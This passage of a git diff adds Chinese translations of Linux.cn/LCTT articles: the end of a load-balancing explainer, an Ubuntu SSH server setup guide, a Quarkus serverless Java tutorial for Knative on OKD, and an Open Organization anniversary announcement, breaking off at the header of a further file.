基础架构的责任。异步应用程序对于确保离开计算机休息的用户不占用服务器上的宝贵资源至关重要。 + +### 负载均衡是怎么工作的? + +负载均衡通过在多个计算节点上分配工作负载来避免瓶颈。这些节点可能是数据中心中的物理服务器、云环境中的容器、用于边缘计算而战略性放置的服务器、复杂应用程序框架中的独立 Java 虚拟机(JVM),或在单个 Linux 服务器上运行的守护进程。 + +这个想法是把一个大问题分成几个小任务,并把每个任务分配给一台专用计算机。例如,对于一个要求用户登录的网站,该网站可能托管在服务器 A 上,而登录页面和所有随附的身份验证查询都托管在服务器 B 上。这样,新用户登录帐户时就不会占用其它使用该站点的用户的资源。 + +#### 云计算负载均衡 + +云计算使用 [容器][3],因此通常没有单独的物理服务器来处理不同的任务(实际上,有许多单独的服务器,但它们被聚集在一起作为一个计算“大脑”)。相反,“容器荚pod” 是由几个容器创建的。当一个容器荚由于其用户或任务负载而开始耗尽资源时,会生成一个相同的容器荚。容器荚共享存储和网络资源,每个容器荚在创建时被分配给一个计算节点。可以根据负载需要创建或销毁容器荚,这样无论有多少用户,用户都可以体验到一致的服务质量。 + +#### 边缘计算 + +[边缘计算][4] 在负载均衡时考虑到了现实世界。云计算自然是一个分布式系统,但实际上,云计算的节点通常集中在几个数据中心。用户离运行云计算的数据中心越远,他们为获得最佳服务所必须克服的物理障碍就越多。即使有光纤连接和适当的负载均衡,位于 3000 英里外的服务器的响应时间也可能比仅仅 300 英里外的响应时间长。 + +边缘计算将计算节点带到云计算的“边缘”,试图弥合地理鸿沟,为云计算形成一种卫星网络,因此它也在良好的负载均衡工作中发挥了作用。 + +### 什么是负载均衡算法? + +有许多负载均衡策略,它们的复杂性取决于所涉及的技术和需求。负载均衡不必复杂,而且从一开始就负载均衡很重要,即使在使用 [Kubernetes][5] 和 [Keepalived][6] 这样的专用软件时也是如此。 + +当你可以设计应用程序,自己为它采取简单的预防措施时,不要依赖容器来均衡负载。如果你从一开始就将应用程序设计为模块化和临时性的,那么你将受益于通过巧妙的网络设计、容器编排和其他未来技术带来的负载均衡机会。 + +可以指导应用程序开发人员或网络工程师工作的一些流行算法包括: + + * 按顺序将任务分配给服务器(这通常被称为轮询调度)。 + * 将任务分配给当前最不繁忙的服务器。 + * 将任务分配给具有响应最快的服务器。 + * 随机分配任务。 + +举个例子,在分配特别复杂的任务时,可以组合或加权这些原则以分配到组中最强大的服务器。通常使用 [编排][7],这样管理员就不必为负载均衡寻找完美的算法或策略,尽管有时需要由管理员选择使用哪种负载均衡方案组合。 + +### 预料意料之外 + +负载均衡实际上并不是要确保在整个网络中均匀使用所有资源。负载均衡实际上是确保即使发生意外情况也能提供可靠的用户体验。良好的基础设施可以承受计算机崩溃、应用程序过载、网络流量冲击和用户错误。思考你的服务如何才能具有弹性,并从头开始相应地设计负载均衡策略。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/4/load-balancing + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[FYJNEVERFOLLOWS](https://github.com/FYJNEVERFOLLOWS) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/water-stone-balance-eight-8.png?itok=1aht_V5V (eight stones balancing) +[2]: https://opensource.com/business/15/4/nginx-open-source-platform +[3]: https://opensource.com/resources/what-are-linux-containers +[4]: https://opensource.com/article/18/5/edge-computing +[5]: https://opensource.com/resources/what-is-kubernetes +[6]: https://www.redhat.com/sysadmin/keepalived-basics +[7]: https://opensource.com/article/20/11/orchestration-vs-automation diff --git a/published/202210/20210530 Complete Guide to Configuring SSH in Ubuntu.md b/published/202210/20210530 Complete Guide to Configuring SSH in Ubuntu.md new file mode 100644 index 0000000000..44f76a5efa --- /dev/null +++ b/published/202210/20210530 Complete Guide to Configuring SSH in Ubuntu.md @@ -0,0 +1,242 @@ +[#]: subject: (Complete Guide to Configuring SSH in Ubuntu) +[#]: via: (https://itsfoss.com/set-up-ssh-ubuntu/) +[#]: author: (Chris Patrick Carias Stas https://itsfoss.com/author/chris/) +[#]: collector: (lujun9972) +[#]: translator: (Donkey-Hao) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15175-1.html) + +在 Ubuntu 中配置 SSH 的完整指南 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/25/102118u33grazpccrvxwdf.jpg) + +> 如今 SSH 已成为了登录远程服务器的默认方式。 + +SSH 的全称是 “安全的 ShellSecure Shell”,它功能强大、效率高,这个主流的网络协议用于在两个远程终端之间建立连接。让我们不要忘记它名称的“安全”部分,SSH 会加密所有的通信流量,以防止如劫持、窃听等攻击,同时提供不同的身份认证方式和无数个配置选项。 + +在这份新手指南中,你会学到: + + - SSH 的基本概念 + - 设置 SSH 服务器(在你想要远程登录的系统上) + - 从客户端(你的电脑)通过 SSH 连接远程服务器 + +### SSH 的基本概念 + +在学习配置过程前,让我们先了解一下 SSH 的全部基础概念。 + +SSH 协议基于客户端-服务器server-client(CS)架构。“服务器Server”允许“客户端Client”通过通信通道进行连接。该信道是经过加密的,信息交换通过 SSH 公私钥进行管理。 + +![Image credit: SSH][1] + +[OpenSSH][2] 是在 Linux、BSD 和 Windows 系统上提供 SSH 功能的最流行的开源工具之一。 + +想要成功配置 SSH,你需要: + + - 在作为服务器的机器上部署 SSH 服务器组件,它由 `openssh-server` 包提供。 + - 在你远程访问服务器的客户端机器上部署 SSH 客户端组件,它由 `openssh-client` 包提供,大多数 Linux 和 BSD 发行版都已经预装好了。 + +区分服务器和客户端是十分重要的事情。或许你不想要你的 PC 作为 SSH 服务器,除非你有充分理由希望其他人通过 SSH 连接你的系统。 + +通常来说,你有一个专用的服务器系统。例如,一个 [运行 Ubuntu 的树莓派][3]。你可以 [启用树莓派的 SSH 服务][4],这样你可以在你 PC 中的终端中,通过 SSH 控制并管理该设备。 + +有了这些信息,让我们看看如何在 Ubuntu 上设置 SSH 服务器。 + +### 在 Ubuntu 服务器中配置 SSH + +设置 SSH 并不复杂,只需要以下几步。 + +#### 前提 + + - 一个在服务器端拥有 `sudo` 权限的用户 + - 可以下载所需包的互联网连接 + - 在你的网络中至少有另一个系统。可以是局域网中的另一台电脑,远程服务器或者计算机中托管的虚拟机。 + +**再次强调,在你想要通过 SSH 远程登录的系统上安装 SSH 服务。** + +#### 第一步:安装所需包 + +让我们从打开终端输入一些必要命令开始。 + +注意,在安装新的包或者软件前,要 [更新你的 Ubuntu 系统][5],以确保运行的是最新版本的程序。 + +``` +sudo apt update && sudo apt upgrade +``` + +你要运行 SSH 服务器的包由 OpensSSH 的 `openssh-server` 组件提供: + +``` +sudo apt install openssh-server +``` + +![][6] + +#### 第二步:检查服务器状态 + +当你下载并安装完包后,SSH 服务器应该已经运行了,但是为了确保万无一失我们需要检查一下: + +``` +service ssh status +``` + +你还可以使用 `systemctl` 命令: + +``` +sudo systemctl status ssh +``` + +你应该会看到这样的结果,其中 `active` 是高亮的。输入 `q` 退出该页面。 + +![][7] + +如果你的结果中 SSH 服务没有运行,使用这个命令运行它: + +``` +sudo systemctl enable --now ssh +``` + +#### 第三步:允许 SSH 通过防火墙 + +Ubuntu 带有名为 [UFW][8](简单的防火墙Uncomplicated Firewall)的防火墙,这是管理网络规则的 `iptables` 的一个接口。如果启动了防火墙,它可能会阻止你连接服务器。 + +想要配置 UFW 允许你的接入,你需要运行如下命令: + +``` +sudo ufw allow ssh +``` + +UFW 的运行状态可以通过运行 `sudo ufw status` 来检查。 + +现在,我们的 SSH 服务器已经开始运行了,在等待来自客户端的连接。 + +### 连接远程服务器 + +你本地的 Linux 系统已经安装了 SSH 客户端。如果没有,你可以在 Ubuntu 中使用如下命令安装: + +``` +sudo apt install openssh-client +``` + +要连接你的 Ubuntu 系统,你需要知道它的 IP 地址,然后使用 `ssh` 命令,就像这样: + +``` +ssh username@address +``` + +将 **用户名**(`username`)改为你的系统上的实际用户名,并将 **地址**(`address`)改为你服务器的 IP 地址。 + +如果你 [不知道 IP 地址][9],可以在服务器的终端输入 `ip a` 查看结果。应该会看到这样的结果: + +![Using “ip a” to find the IP address][10] + +可以看到我的 IP 地址是 `192.168.1.111`。让我们使用 `username@address` 格式进行连接。 + +``` +ssh team@192.168.1.111 +``` + +这是你第一次连接到该 SSH 服务器,它会请求添加主机。输入 `yes` 并回车即可。 + +![First time connecting to the server][12] + +SSH 会立即告诉你该主机已经被永久添加了,并要求你输入指定用户的密码,输入密码并再次按回车即可。 + +![Host added, now type in the password][13] + +瞧,你远程登录了你的 Ubuntu 系统! + +![Connected!][14] + +现在,你可以在远程服务器的终端里和寻常一样工作了。 + +#### 关闭 SSH 连接 + +你只需要输入 `exit` 即可关闭连接,它会立马关闭不需要确认。 + +![Closing the connection with “exit”][15] + +### 在 Ubuntu 中关闭并禁止 SSH + +如果你想要停止 SSH 服务,需要运行该命令: + +``` +sudo systemctl stop ssh +``` + +该命令会关闭 SSH 服务,直到重启它或者系统重启。想要重启它,输入: + +``` +sudo systemctl start ssh +``` + +现在,如果你想要禁止 SSH 跟随系统启动,使用该命令: + +``` +sudo systemctl disable ssh +``` + +该命令不会停止当前的 SSH 会话,只会在启动的时候生效。如果你想要它跟随系统启动,输入: + +``` +sudo systemctl enable ssh +``` + +#### 其他 SSH 客户端 + +从 Linux 到 macOS,大多数 *nix 系统中都有 `ssh` 工具,但这并不是唯一的选项,这里有几个可以在其他操作系统中使用的客户端: + + * [PuTTY][16] 是一个自由开源的 Windows 系统上的 SSH 客户端。它功能强大并且简单易用。如果你从 Windows 系统上连接你的 Ubuntu 服务器,PuTTY 是最好的选择。(LCTT 译注:切记从官方网站下载。) + * 对安卓用户来说,[JuiceSSH][17] 是十分优秀的工具。如果你在旅途中需要一个移动客户端来连接你的 Ubuntu 系统,我强烈建议你试试 JuiceSSH。它已经出现了将近 10 年,并且可以免费使用。 + * 最后是 [Termius][18],它可用于 Linux、Windows、macOS、iOS 和安卓。它有一个免费版本和几个付费选项。如果你运行大量服务器并进行共享连接的团队合作,那么 Termius 对你来说是一个不错的选择。 + +#### 总结 + +在这份指导中,你可以在 Ubuntu 系统中设置 SSH 作为服务器,允许来自你电脑的远程安全的连接,便于你通过命令行开展工作。 + +此,我推荐以下文章: + + * [Linux SSH 入门教程][19] + * [利用 SSH 配置文件管理多个 SSH 连接][20] + * [向 SSH 服务器添加公钥以进行无密码身份验证][21] + * [保护你的 SSH 服务器的 SSH 加固技巧][22] + +远程工作快乐! + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/set-up-ssh-ubuntu/ + +作者:[Chris Patrick Carias Stas][a] +选题:[lujun9972][b] +译者:[Donkey-Hao](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/chris/ +[b]: https://github.com/lujun9972 +[1]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/05/ssh-diagram.png?resize=800%2C259&ssl=1 +[2]: https://www.openssh.com/ +[3]: https://itsfoss.com/install-ubuntu-server-raspberry-pi/ +[4]: https://itsfoss.com/ssh-into-raspberry/ +[5]: https://itsfoss.com/update-ubuntu/ +[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/05/ssh-0001.png?resize=800%2C253&ssl=1 +[7]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/05/ssh-0002.png?resize=800%2C263&ssl=1 +[8]: https://itsfoss.com/set-up-firewall-gufw/ +[9]: https://itsfoss.com/check-ip-address-ubuntu/ +[10]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/05/ssh-find-ip.png?resize=800%2C341&ssl=1 +[11]: https://itsfoss.com/cdn-cgi/l/email-protection +[12]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/05/ssh-0004.png?resize=800%2C87&ssl=1 +[13]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/05/ssh-0005.png?resize=800%2C57&ssl=1 +[14]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/05/ssh-0006.png?resize=800%2C322&ssl=1 +[15]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/05/ssh-0007.png?resize=800%2C87&ssl=1 +[16]: https://www.putty.org/ +[17]: https://juicessh.com/ +[18]: https://termius.com/ +[19]: https://linuxhandbook.com/ssh-basics/ +[20]: https://linuxhandbook.com/ssh-config-file/ +[21]: https://linuxhandbook.com/add-ssh-public-key-to-server/ +[22]: https://linuxhandbook.com/ssh-hardening-tips/ +[23]: https://linuxhandbook.com/sshcourse/ diff --git a/published/202210/20210601 Get started with Java serverless functions.md b/published/202210/20210601 Get started with Java serverless functions.md new file mode 100644 index 0000000000..1fb0e1e0f1 --- /dev/null +++ b/published/202210/20210601 Get started with Java serverless functions.md @@ -0,0 +1,208 @@ +[#]: subject: "Get started with Java serverless functions" +[#]: via: "https://opensource.com/article/21/6/java-serverless-functions" +[#]: author: "Daniel Oh https://opensource.com/users/daniel-oh" +[#]: collector: "lkxed" +[#]: translator: "cool-summer-021" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15111-1.html" + +Java 无服务器函数入门 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/06/154731xejvfcai8e0auimh.jpg) + +> Quarkus 令你可以使用类似 Java 的技术开发无服务器的工作负载。 + +对 [无服务器 Java][2] 的研究始于函数 —— 就是按需求运行的一小段代码。这一阶段并没有持续很长时间。虽然在 1.0 阶段,基于虚拟机架构的函数使这种范式变得很流行,但它仍然有局限性,例如执行时间、协议和糟糕的本地开发体验,都不太理想,如下图所示。 + +开发者随后意识到,可以把同样的无服务器特性应用于微服务和 Linux 容器,带来的好处也是一样的。由此进入 1.5 阶段,在这个阶段,一些无服务器容器完全抽象化了 [Kubernetes][3],通过 [Knative][4] 或其它位于它之上的抽象层来提供无服务器的体验。 + +在 2.0 阶段,无服务器开始处理更复杂的编排和集成模式,并结合某些层级的状态管理。更重要的是,开发者关注的是能否在旧的系统中使用熟悉的 Java 应用程序运行时来组合运行无服务器和非无服务器的工作负载。 + +![The serverless Java journey][5] + +Java 开发者开始进行无服务器函数开发之前,第一步是要选择一种新的云原生 Java 框架,从而能够以快于传统单体应用程序的速度和较小的内存占用运行 Java 函数。这在各种基础设施环境中,包括物理服务器、虚拟机、多云或混合云环境中的容器,都是适用的。 + +开发者也有可能固执地选择 Spring 框架中的 [Spring 云函数][6] 来进行命令式和反应式函数的开发。Spring 也支持将 Java 函数部署到可安装的无服务器平台,比如 [Kubeless][7]、[Apache OpenWhisk][8]、[Fission][9] 和 [Project Riff][10]。然而,人们担心 Spring 的启动慢、响应时间长以及内存占用大的问题。在诸如 Kubernetes 这种可扩展的容器环境中运行 Java 函数,这些问题可能会更严重。 + +[Quarkus][11] 是一个新推出的开源云原生 Java 框架,它有助于解决这些问题。它的作用是设计无服务器应用程序,以及编写运行于云基础设施(例如 Kubernetes)的云原生微服务。 + +Quarkus 重新审视了 Java,它使用了封闭的方法构建和运行 Java 程序。它把 Java 转变为一种可与 Go 相媲美的运行时。Quarkus 也包含 100 多种扩展功能,集成了企业级能力,例如数据库访问、无服务器集成、消息、安全、可观察性和业务自动化。 + +这里有一个简单例子,展现如何使用 Quarkus 创建一个 Java 无服务器项目的框架。 + +### 1、基于 Maven 创建一个 Quarkus 无服务器项目 + +安装一个本地 Kubernetes 集群,开发者有多种选择,包括 [Minikube][12] 和 [OKD][13]。因为使用 OKD 在 Knative 和 DevOps 工具上安装无服务器相关功能较方便,本文使用 OKD 安装集群。这些关于 [OKD 安装][14] 和 [Knative 操作员安装][15] 的相关指南中提供了更多的设置资料。 + +下面的命令创建了一个 Quarkus 项目(例如 `quarkus-serverless-restapi`),对外暴露一个简单的 REST API,并下载 `quarkus-openshift` 扩展,用于 Knative 服务的部署: + +``` +$ mvn io.quarkus:quarkus-maven-plugin:1.13.4.Final:create \ +       -DprojectGroupId=org.acme \ +       -DprojectArtifactId=quarkus-serverless-restapi \ +       -Dextensions="openshift" \ +       -DclassName="org.acme.getting.started.GreetingResource" +``` + +### 2、在本地运行无服务器功能 + +使用 Quarkus 开发模式运行程序,检查 REST API 是否有效,稍稍调整一下代码: + +``` +$ ./mvnw quarkus:dev +``` + +输出如下内容: + +``` +__  ____  __  _____   ___  __ ____  ______ + --/ __ \/ / / / _ | / _ \/ //_/ / / / __/ + -/ /_/ / /_/ / __ |/ , _/ ,< / /_/ /\ \   +--\___\_\____/_/ |_/_/|_/_/|_|\____/___/   +INFO  [io.quarkus] (Quarkus Main Thread) quarkus-serverless-restapi 1.0.0-SNAPSHOT on JVM (powered by Quarkus xx.xx.xx.) started in 2.386s. Listening on: http://localhost:8080 +INFO  [io.quarkus] (Quarkus Main Thread) Profile dev activated. Live Coding activated. +INFO  [io.quarkus] (Quarkus Main Thread) Installed features: [cdi, kubernetes, resteasy] +``` + +> **注意**: 保持 Quarkus 应用程序运行,需要使用热部署Live Coding。这样,当代码修改后,你就不必重新构建、重新部署以及重启运行时。 + +现在,你可以使用一个 `curl` 命令快速访问 REST API。输出结果应当是 `Hello RESTEasy`: + +``` +$ curl localhost:8080/hello +Hello RESTEasy +``` + +在 `GreetingResource.java` 中修改返回值: + +``` +public String hello() { +        return "Quarkus Function on Kubernetes"; +    } +``` + +再次访问 REST API,输出信息也会相应更新: + +``` +$ curl localhost:8080/hello +Quarkus Function on Kubernetes +``` + +普通的微服务跟无服务器函数之间的差别并不大。使用 Quarkus 的好处在于:开发者可以使用任何微服务,将 Kubernetes 部署为无服务器函数。 + +### 3、在 Knative 服务中部署相关的函数 + +如果你还没有创建命名空间,就在你的 OKD 集群上 [创建命名空间][16](例如 `quarkus-serverless-restapi`),用来部署 Java 无服务器函数。 + +Quarkus 令开发者可以通过在 `src/main/resources/application.properties` 中添加以下变量,创建 Knative 和 Kubernetes 资源: + +``` +quarkus.container-image.group=quarkus-serverless-restapi <1> +quarkus.container-image.registry=image-registry.openshift-image-registry.svc:5000 <2> +quarkus.kubernetes-client.trust-certs=true <3> +quarkus.kubernetes.deployment-target=knative <4> +quarkus.kubernetes.deploy=true <5> +quarkus.openshift.build-strategy=docker <6> +``` + +说明: + +- <1> 在你部署无服务器应用程序的位置定义项目名 +- <2> 使用容器注册中心 +- <3> 在这个简单例子中,使用自签名证书,以便通过相关信任机制 +- <4> 允许创建 Knative 资源 +- <5> 指示在构建容器映像之后将扩展部署到 OpenShift +- <6> 设置 Docker 构建策略 + +执行以下命令,构建应用程序,并直接部署到 OKD 集群: + +``` +$ ./mvnw clean package -DskipTests +``` + +> **注意:** 应该提前使用 `oc login` 命令,确保登录到正确的项目(例如`quarkus-serverless-restapi`)。 + +输出结果应该以 `BUILD SUCCESS` 结束。 + +在对于 Knative 服务执行的 `oc` 命令中,加上标签: + +``` +$ oc label rev/quarkus-serverless-restapi-00001 +app.openshift.io/runtime=quarkus --overwrite +``` + +然后访问 OKD 网页控制台,就能进入 [开发人员透视图中的拓扑视图][17]。你可能会看到你的容器荚Pod(无服务器函数)已经缩小为零(白线圈)。 + +![Topology view][18] + +### 4、在 Kubernetes 环境下测试函数 + +运行如下 `oc` 命令,搜索含有无服务器函数的路由: + +``` +$ oc get rt/quarkus-serverless-restapi +[...] +NAME                      URL                             READY   REASON +quarkus-serverless[...]   http://quarkus[...].SUBDOMAIN   True +``` + +使用 `curl` 命令访问搜索到的路由: + +``` +$ curl http://quarkus-serverless-restapi-quarkus-serverless-restapi.SUBDOMAIN/hello +``` + +过几秒钟,你可以得到跟在本地相同的结果: + +``` +Quarkus Function on Kubernetes +``` + +当你回到 OKD 集群内的拓扑图,Knative 服务会自动扩展。 + +![Scaling the Knative Function][19] + +由于 Knative 服务的默认设置,其 pod 在 30 秒后会再次下降至零。 + +### 下一步呢? + +无服务器不断地在演变,始于运行于虚拟机的函数,到后来的无服务器容器,并与企业原有系统集成。在此过程中,企业开发者借助 Quarkus,仍然可以使用自己熟悉的技术(比如 Java)创建一个项目,然后构建并部署到 Kubernetes。 + +本系列的下一篇文章将指导你优化 Kubernetes 中的 Java 无服务器函数,从而令程序启动更快,内存占用更小。 + +*文内图像来自:Daniel Oh, CC BY-SA 4.0* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/6/java-serverless-functions + +作者:[Daniel Oh][a] +选题:[lkxed][b] +译者:[cool-summer-021](https://github.com/cool-summer-021) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/daniel-oh +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/gears_devops_learn_troubleshooting_lightbulb_tips_520.png +[2]: https://linux.cn/article-13429-1.html +[3]: https://opensource.com/article/19/6/reasons-kubernetes +[4]: https://cloud.google.com/knative/ +[5]: https://opensource.com/sites/default/files/uploads/serverless-journey.png +[6]: https://spring.io/serverless +[7]: https://kubeless.io/ +[8]: https://openwhisk.apache.org/ +[9]: https://fission.io/ +[10]: https://projectriff.io/ +[11]: https://quarkus.io/ +[12]: https://minikube.sigs.k8s.io/docs/start/ +[13]: https://docs.okd.io/latest/welcome/index.html +[14]: https://docs.okd.io/latest/installing/index.html +[15]: https://knative.dev/docs/install/knative-with-operators/ +[16]: https://docs.okd.io/latest/applications/projects/configuring-project-creation.html +[17]: https://docs.okd.io/latest/applications/application_life_cycle_management/odc-viewing-application-composition-using-topology-view.html +[18]: https://opensource.com/sites/default/files/uploads/topologyview.png +[19]: https://opensource.com/sites/default/files/uploads/scale-up-knative-function.png diff --git a/published/202210/20210602 New ways to learn about open organizations.md b/published/202210/20210602 New ways to learn about open organizations.md new file mode 100644 index 0000000000..ea8de3410b --- /dev/null +++ b/published/202210/20210602 New ways to learn about open organizations.md @@ -0,0 +1,125 @@ +[#]: subject: (New ways to learn about open organizations) +[#]: via: (https://opensource.com/open-organization/21/6/celebrate-sixth-anniversary) +[#]: author: (Laura Hilliger https://opensource.com/users/laurahilliger) +[#]: collector: (lujun9972) +[#]: translator: (MareDevi) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15133-1.html) + +了解开放组织的新途径 +====== + +> 通过参与两个令人兴奋的新项目来庆祝开放组织社区的六周年。 + +![](https://img.linux.net.cn/data/attachment/album/202210/12/143419tx8nrr51v8x6r515.jpg) + +2021 年 6 月 2 日,开放组织Open Organization社区庆祝其成立六周年。这是六年来([上百篇的][2])文章、([一系列的][3])书籍、([具有启发性的][4])对话、(我们所 [喜欢的][5])教学和学习。我们非常自豪地成为一个充满活力的开放专家和领导者的社区,致力于将 [开放原则][6] 带到大大小小的组织。事实上,许多 [开放组织大使][7]Open Organization Ambassadors 以帮助他人变得更加开放为职业,我们的社区仍然致力于帮助各行业的领导者以开放的心态和行为融入他们的社区和环境中。 + +[去年][8] 是开放组织项目的一个 [成长][9] 和 [发展][10] 时期。今年,我们将在这一势头的基础上继续努力。今天,我们很自豪地介绍两项新的倡议——当然,也邀请你的参加。 + +### 开启,调整,开放 + +首先,我们很高兴地宣布:我们社区的工作有了一个全新的场所。[OpenOrgTV][11]。这不仅仅是一个新的平台。它也是另一种媒介的实验:视频。 + +在我们的频道上,我们将举办各种对话 —— 从深层次的书评到社区圆桌会议。首先,请查看“[开放领导力对话][12]Open Leadership Conversations”系列,其中包括对某些富有洞察力的领导者的采访,提供他们对根据开放原则进行领导的意义的观点。或者观看我们的 Q&A 式写作节目 “[问大使][13]Ask the Ambassadors”,由社区专家回答你关于组织文化和设计的问题。也想参与这个节目吗?在我们的 [新的专门的论坛][14] 中向社区成员提交你的问题。 + +整个月,我们都会介绍 [开放组织大使][15]Open Organization Ambassadors,让你终于可以看到他们的面孔,并听到你多年来阅读的故事、案例研究和采访背后的声音。 + +### 定义开放领导力 + +自从我们几年前发布它以来,[开放组织定义][16]Open Organization Definition 已成为更好地理解开放组织文化和设计本质的组织指导框架(并且我们已经做了很多工作来 [教导其他人][17])。随着时间的推移,我们甚至开发了 [一个成熟度模型][18] 来操作该定义,因此组织可以评估自己的开放程度并制定具体计划以变得 _更加_ 开放。 + +现在,我们认为是时候将这项工作更进一步了。 + +但是,开放组织社区不仅仅是平台、工具或项目的任何组合。它是所有人都热情地一起工作,以帮助传播开放原则和实践。 + +受我们自己经验、[红帽][19] 和 [Mozilla][20] 等开放组织已有的框架、多年研究和采访该领域的开放领袖的启发,以及我们对更好地理解开放领导力如何 _真正_ 发挥作用的渴望,我们很高兴公布一份全新文件的早期草案:开放领导力定义Open Leadership Definition。 + +本文档概述了建立开放型组织,并使其成为思想开放的人能够成长和茁壮成长的地方的各类领导者所特有的心态和行为。它建立在开放领导力定义Open Leadership Definition的基础上,解释了开放型领导者如何体现和倡导开放型组织的特征,如透明度、包容性、适应性、协作性和社区性。 + +而且我们渴望与世界分享。 + +从今天开始(在接下来的两周内),我们将收集你对我们文件草案的见解和意见。我们渴望听到你的想法,并将接受你的意见的 _整体_ 或片段。你可以对文件的个别部分或整个文件提出意见。请查看下面的链接。我们期待着听到你的意见。 + +![Open Leadership Definition word cloud][21] + +*Laura Hiliger 提供的开放领导力定义词云 (CC BY-SA)* + +#### 开放领导力定义 + +- [开放领导力定义:简介][22] +- [开放领导力定义:透明度][23] +- [开放领导力定义:包容性][24] +- [开放领导力定义:适应性][25] +- [开放领导力定义:协作][26] +- [开放领导力定义:社区][27] + +在我们的共享文件夹中 [阅读全文][28]。 + +### 联系我们 + +当然,你仍然可以在所有常见的地方找到我们的社区,如: + + * [我们的项目网站][29],你通往整个开放组织项目和社区的门户。 + * [我们的对话中心][4],在这里你可以与社区成员互动,提出问题,了解新项目,寻找资源,并帮助他人。 + * [我们的 GitHub 组织][30],我们一直在公开研究新项目,并邀请你加入我们 + * [我们在 Opensource.com 的发表频道][2],我们在这里为各地区和各行业的从业人员发布最新的分析、案例研究、访谈和资源。 + * 我们的 [Twitter][31] 和 [LinkedIn][32] 平台,我们将在这里分享我们的最新进展,并促进新的对话。 + +但开放组织社区不仅仅是平台、工具或项目的任何组合。 是 _人_,所有人都热情地一起工作以帮助传播开放的原则和实践。正是这些人使我们的社区如此伟大。 + +六年来一直如此,并将永远保持下去。 + +### 从数字上看 + +![][33] + +*Jen Kelchner 提供的信息图* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/open-organization/21/6/celebrate-sixth-anniversary + +作者:[Laura Hilliger][a] +选题:[lujun9972][b] +译者:[MareDevi](https://github.com/MareDevi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/laurahilliger +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/openorg_sixth_anniversary.png?itok=3RWyEk5S +[2]: https://opensource.com/open-organization +[3]: https://theopenorganization.org/books +[4]: https://www.theopenorganization.community/ +[5]: https://www.youtube.com/watch?v=Snf6vICDbzw&list=PLLIYDJHuxOkaPEH76mIJe-HHplsiSAVej +[6]: https://theopenorganization.org/definition +[7]: https://theopenorganization.org/about +[8]: https://opensource.com/open-organization/20/6/scaling-energetic-community +[9]: https://opensource.com/open-organization/20/7/evolving-project-governance +[10]: https://opensource.com/open-organization/20/8/open-community-rebrands +[11]: http://theopenorganization.tv +[12]: https://www.youtube.com/watch?v=07YBs0ss9rU&list=PLLIYDJHuxOkYDTLbKRjcd9THTFtpnK8lh +[13]: https://www.youtube.com/watch?v=ukkZMYqRuUQ&list=PLLIYDJHuxOkY1gDbOFLDxGxwwmxeOATrI +[14]: https://www.theopenorganization.community/c/ask-community/19 +[15]: http://theopenorganization.org/roster/ +[16]: https://theopenorganization.org/definition/ +[17]: https://youtu.be/NYngFYGgxro +[18]: https://github.com/open-organization/open-org-maturity-model +[19]: https://github.com/red-hat-people-team/red-hat-multiplier +[20]: https://mozilla.github.io/open-leadership-framework/framework/#the-open-leadership-framework +[21]: https://opensource.com/sites/default/files/images/open-org/open_leadership_word_cloud.png (Open Leadership Definition word cloud) +[22]: https://docs.google.com/document/d/1blmf94ED_p4BHGv0luU_XrU26aF7tCzV6WTmh_v-PDY/edit?usp=sharing +[23]: https://docs.google.com/document/d/14ssBBL0h2vxU0WZoMnWs6eo_8oRfJhnAr5yr-fAiLGU/edit?usp=sharing +[24]: https://docs.google.com/document/d/1lRutADes5E0mcwtc6GR_Qw06PuJLc9-wUK5W1Gcf_BA/edit?usp=sharing +[25]: https://docs.google.com/document/d/1RcwWTpkT42bgkf6EPiECt8LyAJ1XZjNGhzk0cQuBB7c/edit?usp=sharing +[26]: https://docs.google.com/document/d/1hTvnpqQkOc76-0UJbV6tAvRxOE--bdt96mqGmAKGqiI/edit?usp=sharing +[27]: https://docs.google.com/document/d/1Zl1smi-4jDZNNWd0oNY8qRH-GDi9q5VfvgyZ7YLkvm4/edit?usp=sharing +[28]: https://drive.google.com/drive/folders/1e1N_0p5lJEwAo_s6hQ3OK0KaJIfc7fgF?usp=sharing +[29]: http://theopenorganization.org/ +[30]: https://github.com/open-organization +[31]: https://twitter.com/openorgproject +[32]: https://www.linkedin.com/company/the-open-organization/ +[33]: https://opensource.com/sites/default/files/images/open-org/openorgproject_6_anniversary_stats.png diff --git a/published/202210/20210604 Optimize Java serverless functions in Kubernetes.md b/published/202210/20210604 Optimize Java serverless functions in Kubernetes.md new file mode 100644 index 0000000000..ed41d62c82 --- /dev/null 